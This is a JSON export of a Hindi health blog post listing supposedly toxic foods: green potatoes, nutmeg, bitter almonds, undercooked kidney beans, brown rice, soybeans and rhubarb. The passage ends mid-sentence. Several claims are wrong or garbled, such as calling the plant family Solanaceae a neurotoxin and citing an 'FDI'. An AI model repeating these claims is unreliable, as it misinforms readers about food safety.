{"id":9174,"date":"2023-11-04T18:42:27","date_gmt":"2023-11-04T18:42:27","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=9174"},"modified":"2025-10-24T21:10:08","modified_gmt":"2025-10-24T21:10:08","slug":"8-%e0%a4%9c%e0%a4%b9%e0%a4%b0%e0%a5%80%e0%a4%b2%e0%a4%be-%e0%a4%96%e0%a4%be%e0%a4%a8%e0%a4%be-%e0%a4%9c%e0%a5%8b-%e0%a4%86%e0%a4%aa%e0%a4%95%e0%a5%80-%e0%a4%9c%e0%a4%be%e0%a4%a8-%e0%a4%b2%e0%a5%87","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/11\/04\/8-%e0%a4%9c%e0%a4%b9%e0%a4%b0%e0%a5%80%e0%a4%b2%e0%a4%be-%e0%a4%96%e0%a4%be%e0%a4%a8%e0%a4%be-%e0%a4%9c%e0%a5%8b-%e0%a4%86%e0%a4%aa%e0%a4%95%e0%a5%80-%e0%a4%9c%e0%a4%be%e0%a4%a8-%e0%a4%b2%e0%a5%87\/","title":{"rendered":"Toxic Compounds in Food: A Guide to Safe Consumption"},"content":{"rendered":"<h1><\/h1>\n<p><strong>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-10007\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmm-300x136.jpg\" alt=\"mmm\" width=\"686\" height=\"311\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmm-300x136.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmm.jpg 675w\" sizes=\"(max-width: 686px) 100vw, 686px\" \/><\/strong><\/p>\n<p>\u0905\u092a\u0928\u0947 \u0930\u094b\u091c\u092e\u0930\u094d\u0930\u093e \u0915\u0940 \u0932\u093e\u0907\u092b \u092e\u0947\u0902 \u0939\u092e \u092c\u0939\u0941\u0924 \u0938\u093e\u0930\u0940 \u0910\u0938\u0940 \u0916\u093e\u0928\u0947-\u092a\u0940\u0928\u0947 \u0915\u0940 \u091a\u0940\u091c\u0947\u0902 \u0907\u0938\u094d\u0924\u0947\u092e\u093e\u0932 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u091c\u093f\u0928\u092e\u0947\u0902 \u0915\u0941\u091b \u0939\u092e\u093e\u0930\u0947 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u0924\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0932\u0947\u0915\u093f\u0928 \u0907\u0928\u092e\u0947\u0902 \u0938\u0947 \u0915\u0941\u091b \u0928\u0941\u0915\u0938\u093e\u0928\u0926\u093e\u092f\u0915 \u092d\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0906\u091c \u0915\u0947 \u0907\u0938 \u092c\u094d\u0932\u0949\u0917 \u092e\u0947\u0902 \u0939\u092e \u091c\u093e\u0928\u0947\u0902\u0917\u0947\u0902\u00a0<strong>\u0935\u094b<\/strong> <strong>\u092a\u093e\u0901\u091a<\/strong> <strong>\u091c\u0939\u0930\u0940\u0932\u093e<\/strong> <strong>\u0916\u093e\u0928\u093e<\/strong> <strong>\u091c\u094b<\/strong> <strong>\u0906\u092a\u0915\u0940<\/strong> <strong>\u091c\u093e\u0928<\/strong> <strong>\u0932\u0947<\/strong> <strong>\u0938\u0915\u0924\u0947<\/strong> <strong>\u0939\u0948\u0902<\/strong><strong>\u0964<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<h3><strong>1.<\/strong><strong>\u0939\u0930\u093e<\/strong> <strong>\u0906\u0932\u0942<\/strong><strong> {POTATO}<\/strong><\/h3>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10008\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmm-300x225.jpg\" alt=\"mmmm\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmm-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmm.jpg 513w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0906\u092a \u0938\u092c\u094b\u0902 \u0928\u0947 \u092d\u0940 \u0926\u0947\u0916\u093e \u0939\u094b\u0917\u093e \u0915\u093f \u0915\u093f\u0938\u0940-\u0915\u093f\u0938\u0940 \u0906\u0932\u0942 \u0915\u093e \u0930\u0902\u0917 \u0939\u0930\u093e \u0939\u094b\u0924\u093e \u0939\u0948, \u0915\u0941\u091b \u0924\u094b \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u092a\u0942\u0930\u093e \u0939\u0940 \u0939\u0930\u093e \u0939\u094b\u0924\u093e \u0939\u0948 \u0932\u0947\u0915\u093f\u0928 \u0915\u0941\u091b \u0906\u0932\u0942 \u0915\u093e \u0915\u0947\u0935\u0932 \u0925\u094b\u095c\u093e \u0938\u093e \u0939\u093f\u0938\u094d\u0938\u093e \u0939\u0930\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0905\u0917\u0930 \u0906\u092a\u0915\u094b \u092d\u0940 \u0915\u092d\u0940 \u0910\u0938\u093e \u0906\u0932\u0942 \u092e\u093f\u0932\u0947 \u0924\u094b \u0909\u0938\u0915\u093e \u092a\u094d\u0930\u092f\u094b\u0917 \u0915\u092d\u0940 \u0928\u0939\u0940\u0902 \u0915\u0930\u0947\u0902\u0964<\/li>\n<li>\u0907\u0938 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0947 \u0939\u0930\u0947 \u0906\u0932\u0942 \u092e\u0947\u0902 \u0926\u094b \u091a\u0940\u091c \u092a\u093e\u0908 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964 \u092a\u0939\u0932\u093e \u0939\u094b\u0924\u093e \u0939\u0948 \u0915\u094d\u0932\u094b\u0930\u094b\u092b\u093f\u0932, \u091c\u094b \u092c\u0939\u0941\u0924 \u091c\u094d\u092f\u093e\u0926\u093e \u0928\u0941\u0915\u0938\u093e\u0928\u0926\u093e\u092f\u0915 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e \u0939\u0948 \u0932\u0947\u0915\u093f\u0928 \u091c\u094b \u0926\u0942\u0938\u0930\u093e \u092a\u0926\u093e\u0930\u094d\u0925 \u0939\u0948 \u0935\u094b \u0939\u0948 Solanaceae \u091c\u094b \u0915\u093f \u092d\u094b\u091c\u094d\u092f\u092a\u0926\u093e\u0930\u094d\u0925\u00a0\u0928\u0939\u0940\u0902 \u0939\u0948\u0964\u00a0<strong>Solanaceae <\/strong><strong>\u090f\u0915<\/strong> <strong>\u0928\u094d\u092f\u0942\u0930\u094b\u091f\u0949\u0915\u094d\u0938\u093f\u0915<\/strong> <strong>\u092a\u0926\u093e\u0930\u094d\u0925<\/strong> <strong>\u0939\u0948<\/strong>\u00a0\u091c\u093f\u0938\u0915\u094b \u0916\u093e \u0932\u0947\u0928\u0947 \u0938\u0947 \u0909\u0932\u094d\u091f\u0940, \u0938\u0930\u0926\u0930\u094d\u0926, \u0907\u0902\u091f\u0930\u0928\u0932 \u092c\u094d\u0932\u0940\u0921\u093f\u0902\u0917, \u092a\u0948\u0930\u093e\u0932\u093e\u092f\u0938\u093f\u0938 \u092f\u093e \u092e\u094c\u0924 \u0924\u0915 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<h3><strong>2.<\/strong><strong>\u091c\u093e\u092f\u092b\u0932<\/strong><strong> {NUTMEG}<\/strong><\/h3>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10009\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmm-300x225.jpg\" alt=\"mmmmm\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmm-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmm.jpg 695w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u091c\u093e\u092f\u092b\u0932 \u0939\u092e\u093e\u0930\u0947 \u0926\u0947\u0936 \u092e\u0947\u0902 \u092c\u095c\u0947 \u092a\u0948\u092e\u093e\u0928\u0947 \u092a\u0930 \u092e\u0938\u093e\u0932\u0947 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092a\u094d\u0930\u092f\u094b\u0917 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0932\u0947\u0915\u093f\u0928 \u0906\u092a\u0915\u094b \u092f\u0947 \u092a\u0924\u093e \u0939\u094b\u0928\u093e \u091a\u093e\u0939\u093f\u090f \u0915\u093f<strong>\u0907\u0938\u092e\u0947\u0902<\/strong><strong>\u00a0Myristicin <\/strong><strong>\u0928\u093e\u092e<\/strong> <strong>\u0915\u093e<\/strong> <strong>\u090f\u0915<\/strong> <strong>\u092a\u0926\u093e\u0930\u094d\u0925<\/strong> <strong>\u092a\u093e\u092f\u093e<\/strong> <strong>\u091c\u093e\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong>\u00a0\u091c\u094b \u0905\u0927\u093f\u0915 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0939\u092e\u093e\u0930\u0947 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092a\u0939\u0941\u0901\u091a\u0928\u0947 \u092a\u0930 \u0928\u0930\u094d\u0935\u0938 \u0938\u093f\u0938\u094d\u091f\u092e \u0938\u0947 \u091c\u0941\u095c\u0940 \u0915\u0908 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0940 \u092a\u0930\u0947\u0936\u093e\u0928\u0940 \u090f\u0935\u0902 \u0909\u0932\u091f\u0940 \u0906\u0928\u093e, \u091a\u0915\u094d\u0915\u0930 \u0906\u0928\u093e, \u092e\u093f\u0924\u0932\u0940 \u0906\u0928\u093e \u092f\u093e \u0915\u0908 \u092c\u093e\u0930\u00a0\u092e\u0924\u093f\u092d\u094d\u0930\u092e\u00a0\u092d\u0940 \u092a\u0948\u0926\u093e \u0915\u0930 \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0935\u0948\u0938\u0947\u0906\u092a\u0915\u094b\u00a0\u091c\u094d\u092f\u093e\u0926\u093e \u0921\u0930\u0928\u0947 \u0915\u0940 \u091c\u0930\u0941\u0930\u0924 \u0928\u0939\u0940\u0902 \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0939\u092e\u093e\u0930\u0947 \u0926\u0947\u0936 \u092e\u0947\u0902 \u091c\u093e\u092f\u092b\u0932 \u090f\u0915 \u092e\u0938\u093e\u0932\u0947 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092d\u094b\u091c\u0928 \u092e\u0947\u0902 \u092c\u0939\u0941\u0924 \u0939\u0940 \u0915\u092e \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u092a\u094d\u0930\u092f\u094b\u0917 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948 \u091c\u094b \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u092d\u0940 \u0928\u0941\u0915\u0936\u093e\u0928\u0926\u093e\u092f\u0915 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u0907\u0938\u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u0908 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0940 \u0914\u0937\u0927\u093f \u0915\u0947 \u0928\u093f\u0930\u094d\u092e\u093e\u0923 \u092e\u0947\u0902 \u090f\u0935\u0902 \u0918\u0930\u0947\u0932\u0941\u00a0\u0928\u0941\u0938\u094d\u0916\u0947\u00a0\u092e\u0947\u0902 \u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u093f\u0928\u0938\u0947 \u092c\u0939\u0941\u0924 \u0938\u0940 \u092c\u093f\u092e\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u093e \u0907\u0932\u093e\u091c \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u092c\u0938 \u0906\u092a\u0915\u094b \u092f\u0947 \u0916\u094d\u092f\u093e\u0932 \u0930\u0916\u0928\u093e \u0939\u0948 \u0915\u093f \u0915\u092d\u0940 \u092d\u0940 \u0907\u0938\u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0913\u0935\u0930\u0921\u094b\u091c \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u0928\u0939\u0940\u0902 \u0939\u094b\u0964<\/li>\n<\/ul>\n<h3><strong>3.<\/strong><strong>\u0915\u095c\u0935\u0947<\/strong> <strong>\u092c\u093e\u0926\u093e\u092e<\/strong><strong> {BITTER ALMONDA}<\/strong><\/h3>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10010\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmm-300x249.jpg\" alt=\"mmmmmm\" width=\"300\" height=\"249\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmm-300x249.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmm-768x638.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmm.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u0939\u092e \u091c\u094b \u092c\u093e\u0926\u093e\u092e \u0916\u093e\u0928\u0947 \u092e\u0947\u0902 \u092a\u094d\u0930\u092f\u094b\u0917 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0935\u094b \u092e\u0940\u0920\u0947 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0909\u0938\u0938\u0947 \u0915\u0908 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0947 \u0936\u093e\u0930\u0940\u0930\u093f\u0915 \u0932\u093e\u092d \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964 \u0932\u0947\u0915\u093f\u0928 \u090f\u0915 \u0915\u095c\u0935\u093e \u092c\u093e\u0926\u093e\u092e \u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u093f\u0938\u0947 \u0932\u094b\u0917 \u0916\u093e\u0924\u0947 \u0924\u094b \u0928\u0939\u0940\u0902 \u0939\u0948\u0902 \u0932\u0947\u0915\u093f\u0928 \u0915\u092d\u0940 \u0915\u092d\u0940 \u0907\u0938\u0947 \u092c\u0947\u091a\u0928\u0947 \u0935\u093e\u0932\u093e \u0935\u094d\u092f\u093e\u092a\u093e\u0930\u0940 \u0907\u0938\u0915\u094b \u092e\u0940\u0920\u0947 \u092c\u093e\u0926\u093e\u092e \u092e\u0947\u0902 \u092e\u093f\u0932\u093e\u0915\u0930 \u092c\u093e\u091c\u093e\u0930 \u092e\u0947\u0902 \u092c\u0947\u091a \u0926\u0947\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0907\u0938 \u0915\u095c\u0935\u0947 \u092c\u093e\u0926\u093e\u092e \u092e\u0947\u0902 \u090f\u0915 \u091f\u0949\u0915\u094d\u0938\u093f\u0915 \u092a\u0926\u093e\u0930\u094d\u0925 \u092a\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948<strong>\u091c\u093f\u0938\u0947<\/strong><strong> HYDROGEN CYANIDE [ <\/strong><strong>\u0939\u093e\u092f\u0921\u094d\u0930\u094b\u091c\u0928<\/strong> <strong>\u0938\u093e\u0907\u0928\u093e\u0907\u0921<\/strong><strong>] <\/strong><strong>\u0915\u0939\u0924\u0947<\/strong> <strong>\u0939\u0948\u0902<\/strong>\u00a0\u091c\u094b \u091c\u0939\u0930\u0940\u0932\u093e \u0924\u0924\u094d\u0935 \u0939\u0948 \u0907\u0938\u0932\u093f\u090f \u0905\u0917\u0930 \u0915\u094b\u0908 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0907\u0938 \u0915\u095c\u0935\u0947 \u092c\u093e\u0926\u093e\u092e \u0915\u093e 10 \u0938\u0947 20 \u092a\u0940\u0938 \u092d\u0940 \u0916\u093e \u0932\u0947 \u0924\u094b \u0909\u0938\u0915\u0947 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u0907\u0924\u0928\u093e \u0938\u093e\u0907\u0928\u093e\u0907\u0921 \u092a\u0939\u0941\u0901\u091a \u091c\u093e\u092f\u0947\u0917\u093e \u091c\u093f\u0938\u0938\u0947 \u0909\u0938\u0915\u0940 \u091c\u093e\u0928 \u092d\u0940 \u091c\u093e \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<h3><strong>4.<\/strong><strong>\u0905\u0927\u092a\u0915\u093e<\/strong> <strong>\u0930\u093e\u091c\u092e\u093e<\/strong><strong> {UNDERCOOKED RED BEANS}<\/strong><\/h3>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10011\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmm-300x200.jpg\" alt=\"mmmmmmm\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmm-300x200.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmm.jpg 640w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u0930\u093e\u091c\u092e\u093e \u090f\u0915 \u0910\u0938\u093e \u092d\u094b\u091c\u094d\u092f \u092a\u0926\u093e\u0930\u094d\u0925 \u0939\u0948 \u091c\u093f\u0938\u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u092d\u094b\u091c\u0928 \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092c\u095c\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0932\u0947\u0915\u093f\u0928\u00a0<strong>\u0907\u0938\u092e\u0947\u0902<\/strong> <strong>\u090f\u0915<\/strong> <strong>\u092a\u0926\u093e\u0930\u094d\u0925<\/strong> <strong>\u092a\u093e\u092f\u093e<\/strong> <strong>\u091c\u093e\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong> <strong>\u091c\u093f\u0938\u0947<\/strong><strong> LECTIN <\/strong><strong>\u0915\u0939\u0924\u0947<\/strong> <strong>\u0939\u0948\u0902<\/strong>\u00a0\u0914\u0930 \u092f\u0947 \u0932\u0947\u0915\u094d\u091f\u093f\u0928 \u090f\u0915 \u091f\u0949\u0915\u094d\u0938\u093f\u0915 \u091a\u0940\u091c \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0907\u0938 \u0932\u0947\u0915\u094d\u091f\u093f\u0928 \u0915\u094b FDI \u0928\u0947 \u092d\u0940 \u090f\u0915 \u091f\u0949\u0915\u094d\u0938\u093f\u0915 \u092a\u0926\u093e\u0930\u094d\u0925 \u092e\u093e\u0928\u093e \u0939\u0948 \u091c\u093f\u0938\u0915\u094b \u0916\u093e\u0928\u0947 \u0938\u0947 \u092a\u0947\u091f \u0926\u0930\u094d\u0926, \u0909\u0932\u094d\u091f\u0940, \u0928\u0949\u091c\u093f\u092f\u093e \u092f\u093e \u092e\u094c\u0924 \u092d\u0940 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/p>\n<h3><strong>5.<\/strong><strong>\u092c\u094d\u0930\u093e\u0909\u0928<\/strong> <strong>\u0930\u093e\u0907\u0938<\/strong><strong>\u00a0 {BROWN RICE}<\/strong><\/h3>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10012\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmmm-300x225.jpg\" alt=\"mmmmmmmm\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmmm-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmmm.jpg 698w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0939\u092e \u0938\u092d\u0940 \u091c\u093e\u0928\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f \u092c\u094d\u0930\u093e\u0909\u0928 \u0930\u093e\u0907\u0938 \u092c\u0939\u0941\u0924 \u0939\u0940 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0935\u093e\u0932\u093e \u091a\u093e\u0935\u0932 \u0915\u093e \u092a\u094d\u0930\u0915\u093e\u0930 \u0939\u0948 \u0932\u0947\u0915\u093f\u0928 \u0907\u0938\u0915\u094b \u092a\u0915\u093e\u0928\u0947 \u090f\u0935\u0902 \u0909\u092a\u092f\u094b\u0917 \u0915\u093e \u0938\u0939\u0940 \u0924\u0930\u0940\u0915\u093e \u092e\u093e\u0932\u0942\u092e \u0939\u094b\u0928\u093e \u091a\u093e\u0939\u093f\u090f \u0928\u0939\u0940\u0902 \u0924\u094b \u092f\u0947 \u091c\u093e\u0928\u0932\u0947\u0935\u093e \u092d\u0940 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964\u0906\u092a\u0915\u094b \u0936\u093e\u092f\u0926 \u092a\u0924\u093e \u0939\u094b \u0915\u093f<strong>\u091c\u093f\u0924\u0928\u0947<\/strong> <strong>\u092d\u0940<\/strong> <strong>\u092a\u094d\u0930\u0915\u093e\u0930<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u091a\u093e\u0935\u0932<\/strong> <strong>\u0939\u094b\u0924\u0947<\/strong> <strong>\u0939\u0948<\/strong> <strong>\u0909\u0938\u092e\u0947\u0902<\/strong> <strong>\u0915\u0941\u091b<\/strong> <strong>\u0928<\/strong> <strong>\u0915\u0941\u091b<\/strong><strong> ARSENIC <\/strong><strong>\u0915\u0940<\/strong> <strong>\u092e\u093e\u0924\u094d\u0930\u093e<\/strong> <strong>\u091c\u0930\u0942\u0930<\/strong> <strong>\u092a\u093e\u0908<\/strong> <strong>\u091c\u093e\u0924\u0940<\/strong> <strong>\u0939\u0948<\/strong><strong>\u0964<\/strong> \u0905\u0917\u0930 \u092f\u0947 \u0906\u0930\u094d\u0938\u0947\u0928\u093f\u0915 \u092e\u093e\u0928\u0935 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u090f\u0915 \u0924\u092f \u092e\u093e\u0924\u094d\u0930\u093e \u0938\u0947 \u0905\u0927\u093f\u0915 \u0939\u094b \u091c\u093e\u092f\u0947 \u0924\u094b \u092f\u0947 \u0936\u0930\u0940\u0930 \u0915\u0947 \u0915\u0908 \u0905\u0902\u0917 \u092a\u0930 \u092c\u095c\u0947 \u0939\u0940 \u0928\u0915\u093e\u0930\u093e\u0924\u094d\u092e\u0915 \u0905\u0938\u0930 \u0921\u093e\u0932\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0915\u0948\u0902\u0938\u0930 \u0930\u094b\u0917 \u0915\u0947 \u0936\u0941\u0930\u0941\u0935\u093e\u0924 \u0915\u093e \u0915\u093e\u0930\u0923 \u092c\u0928 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<p><strong>\u00a06.<\/strong><strong>\u0932\u093e\u0932<\/strong> <strong>\u0938\u094b\u092f\u093e\u092c\u0940\u0928<\/strong><\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-10013\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmmmm-300x192.jpg\" alt=\"mmmmmmmmm\" width=\"300\" height=\"192\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmmmm-300x192.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/11\/mmmmmmmmm.jpg 625w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092f\u0947 \u090f\u0915 \u0906\u092e \u0927\u093e\u0930\u0923\u093e \u0939\u0948 \u0915\u093f \u092c\u0940\u0928 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0924\u0930 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902.<\/li>\n<li>\u0932\u0947\u0915\u093f\u0928 \u0915\u0941\u091b \u0910\u0938\u0947 \u092c\u0940\u0928 \u092d\u0940 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902 \u091c\u093f\u0928\u0915\u094b \u0916\u093e\u0928\u0947 \u0938\u0947 \u0906\u092a \u092c\u0940\u092e\u093e\u0930 \u092a\u0921\u093c \u0938\u0915\u0924\u0947 \u0939\u0948\u0902.<\/li>\n<li>\u0932\u093e\u0932 \u092c\u0940\u0928 \u0914\u0930 \u0938\u094b\u092f\u093e\u092c\u0940\u0928 \u0910\u0938\u0940 \u0939\u0940 \u092c\u0940\u0928 \u0939\u094b\u0924\u0940 \u0939\u0948\u0902.<\/li>\n<li>\u0907\u0928 \u092c\u0940\u0928\u094b\u0902 \u092e\u0947\u0902 \u092a\u094d\u0930\u094b\u091f\u0940\u0928, \u092b\u093e\u0907\u092c\u0930, \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0914\u0930 \u0916\u0928\u093f\u091c \u0939\u094b\u0924\u0947 \u0939\u0948\u0902.<\/li>\n<li>\u0932\u0947\u0915\u093f\u0928 \u0907\u0928 \u092c\u0940\u0928\u094b\u0902 \u092e\u0947\u0902 \u090f\u0915 \u0916\u093c\u093e\u0938 \u0924\u0930\u0939 \u0915\u093e \u0935\u0938\u093e \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u093f\u0928\u094d\u0939\u0947\u0902 \u092a\u091a\u093e\u0928\u093e \u092c\u0947\u0939\u0926 \u092e\u0941\u0936\u094d\u0915\u093f\u0932 \u0939\u094b\u0924\u093e \u0939\u0948.<\/li>\n<li>\u0907\u0938 \u0935\u0938\u093e \u0915\u094b \u092a\u091a\u093e\u0928\u0947 \u0915\u0940 \u0938\u094d\u0925\u093f\u0924\u093f \u092e\u0947\u0902 \u0909\u0932\u094d\u091f\u0940 \u0914\u0930 \u092a\u0947\u091f \u0926\u0930\u094d\u0926 \u092d\u0940 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948.<\/li>\n<li>\u0907\u0928\u094d\u0939\u0947\u0902 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 12 \u0918\u0902\u091f\u0947 \u0924\u0915 \u092a\u093e\u0928\u0940 \u092e\u0947\u0902 \u0930\u0916\u0928\u0947 \u0915\u0940 \u091c\u093c\u0930\u0942\u0930\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948. \u0907\u0938\u0915\u0947 \u092c\u093e\u0926 \u0939\u0940 \u0907\u0928\u094d\u0939\u0947\u0902 \u0909\u092c\u093e\u0932\u0915\u0930 \u092a\u094d\u0930\u092f\u094b\u0917 \u092e\u0947\u0902 \u0932\u093e\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948.<\/li>\n<\/ul>\n<p><strong>\u00a07.<\/strong><strong>\u0930\u0942\u092c\u093e\u092c<\/strong><\/p>\n<p>\u092c\u094d\u0930\u093f\u0924\u093e\u0928\u0940 \u092a\u0915\u0935\u093e\u0928\u094b\u0902 \u092e\u0947\u0902 \u0907\u0938\u094d\u0924\u0947\u092e\u093e\u0932 \u0939\u094b\u0928\u0947 \u0935\u093e\u0932\u0940 \u0930\u0942\u092c\u093e\u092c \u0915\u094b \u092d\u0940 \u0915\u093e\u092b\u093c\u0940 \u0916\u093c\u0924\u0930\u0928\u093e\u0915 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948.<\/p>\n<p>\u0932\u0947\u0915\u093f\u0928 \u0907\u0938\u0947 \u0932\u0947\u0915\u0930 \u0932\u094b\u0917\u094b\u0902 \u092e\u0947\u0902 \u092c\u0939\u0938 \u092d\u0940 \u091c\u093e\u0930\u0940 \u0939\u0948 \u0915\u093f \u092f\u0947 \u0915\u093f\u0924\u0928\u0940 \u091c\u093c\u0939\u0930\u0940\u0932\u0940 \u0939\u0948.<\/p>\n<p>\u0926\u0930\u0905\u0938\u0932, \u0930\u0942\u092c\u093e\u092c \u0915\u0947 \u0938\u093e\u0925 \u0932\u0917\u0940 \u092a\u0924\u094d\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0913\u0915\u094d\u0938\u093e\u0932\u093f\u0915 \u090f\u0938\u093f\u0921 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u093f\u0938\u0938\u0947 